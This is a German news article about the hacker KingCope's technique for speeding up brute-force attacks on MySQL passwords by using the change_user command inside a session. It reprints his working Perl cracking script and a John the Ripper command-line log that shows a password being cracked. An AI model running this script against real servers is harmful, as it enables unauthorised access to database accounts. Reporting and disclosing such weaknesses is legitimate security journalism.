Schnelles Passwort-Knacken bei MySQL

Ein Hacker hat einen Weg gefunden die Kennwörter der MySQL-Datenbank effizienter durchzuprobieren.

In Pocket speichern vorlesen Druckansicht 78 Kommentare lesen
Lesezeit: 1 Min.
Von
  • Olaf Göllner

Der Hacker mit dem Pseudonym KingCope hat erneut eine Sicherheitsproblematik der beliebten MySQL-Datenbank veröffentlicht. Durch eine bereits bekannte Eigenart der Benutzerverwaltung ist es möglich, die Geschwindigkeit einer BruteForce-Attacke signifikant zu erhöhen. Beim sogenannten "Brute Forcing" wird einfach eine Vielzahl möglicher Passwörter durchprobiert, um so das tatsächliche Passwort des angegriffenen Kontos zu erraten.

Laut KingCope ist es ihm mit einem Trick möglich, bis zu 5000 Passwörter pro Sekunde über den Netzwerkzugang der Datenbank durchzutesten. Der Angreifer meldet sich dazu auf dem MySQL-Server mit einen normalen Konto an (Unprivileged Account). Über den Befehl "change_user" kann er dann während der MySQL-Sitzung versuchen, das aktive Konto zu wechseln. Da MySQL den Nutzerwechsel sehr schnell abwickelt, ist es für den Angreifer wesentlich effizienter als für jeden Anmeldeversuch eine neue Verbindung zum Datenbankserver aufzubauen.

In seinem Angriff verwendete der Hacker den bekannten Passwortcracker John the Ripper, um eine Passwortliste zu erstellen. Zudem dokumentierte er seinen Angriff lückenlos mit Perl-Skript und einem Kommandozeilenmitschnitt. Demnach benötigte er zum Erraten eines vier Zeichen langen Passworts per Remotezugriff auf den MySQL-Datenbankdienst gerade einmal 20 Sekunden. Insgesamt wurden 100.000 Zeichenkombinationen übergeprüft. In der Fehlerdatenbank von MySQL ist dieses Problem als "FeatureRequest" bereits seit 2009 dokumentiert.

Mehr Infos

cracking script use Net::MySQL;

$|=1;

my $mysql = Net::MySQL->new(
hostname => '192.168.2.3',
database => 'test',
user => "user",
password => "secret",
debug => 0, );
$crackuser = "crackme";

while(<stdin>) {
chomp;
$currentpass = $_;

$vv = join "\0", $crackuser, "\x14".
Net::MySQL::Password->scramble(
$currentpass, $mysql->{salt}, $mysql->{client_capabilities} ) . "\0";

if ($mysql->_execute_command("\x11", $vv) ne undef) {
print "[*] Cracked! --> $currentpass\n";
exit;
}
}

Mehr Infos

C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\john
--incremental --stdout=5 | perl mysqlcrack.pl

Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH
words: 24573 time: 0:00:00:04 w/s: 4916 current: rap
words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3
words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429
words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141
words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n
words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2
[*] Cracked! --> pass
words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs
Session aborted

(ogo)